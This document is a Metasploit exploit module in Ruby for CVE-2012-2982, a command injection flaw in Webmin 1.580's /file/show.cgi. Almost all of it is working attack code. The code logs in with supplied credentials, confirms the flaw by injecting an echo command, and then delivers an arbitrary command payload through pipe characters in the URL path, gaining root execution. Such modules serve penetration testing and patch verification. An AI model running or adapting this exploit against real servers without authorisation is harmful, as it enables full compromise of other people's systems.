Webmin 1.580 – ‘/file/show.cgi’ Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin /file/show.cgi Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in Webmin 1.580. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges. The module has been tested successfully with Webim 1.580 over Ubuntu 10.04. }, 'Author' => [ 'Unknown', # From American Information Security Group 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '85248'], ['BID', '55446'], ['CVE', '2012-2982'], ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'], ['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Webim 1.580', { }]], 'DisclosureDate' => 'Sep 06 2012', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(10000), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']) ], self.class) end def check peer = "#{rhost}:#{rport}" print_status("#{peer} - Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/session_login.cgi", 'cookie' => "testing=1", 'data' => data }, 25) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ print_good "#{peer} - Authentication successful" session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0] else print_error "#{peer} - Authentication failed" return Exploit::CheckCode::Unknown end print_status("#{peer} - Attempting to execute...") command = "echo #{rand_text_alphanumeric(rand(5) + 5)}" res = send_request_cgi( { 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|", 'cookie' => "sid=#{session}" }, 25) if res and res.code == 200 and res.message =~ /Document follows/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit peer = "#{rhost}:#{rport}" print_status("#{peer} - Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/session_login.cgi", 'cookie' => "testing=1", 'data' => data }, 25) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "#{peer} - Authentication successfully" else print_error "#{peer} - Authentication failed" return end print_good "#{peer} - Authentication successfully" else print_error "#{peer} - Authentication failed" return end print_status("#{peer} - Attempting to execute the payload...") command = payload.encoded res = send_request_cgi( { 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|", 'cookie' => "sid=#{session}" }, 25) if res and res.code == 200 and res.message =~ /Document follows/ print_good "#{peer} - Payload executed successfully" else print_error "#{peer} - Error executing the payload" return end end end |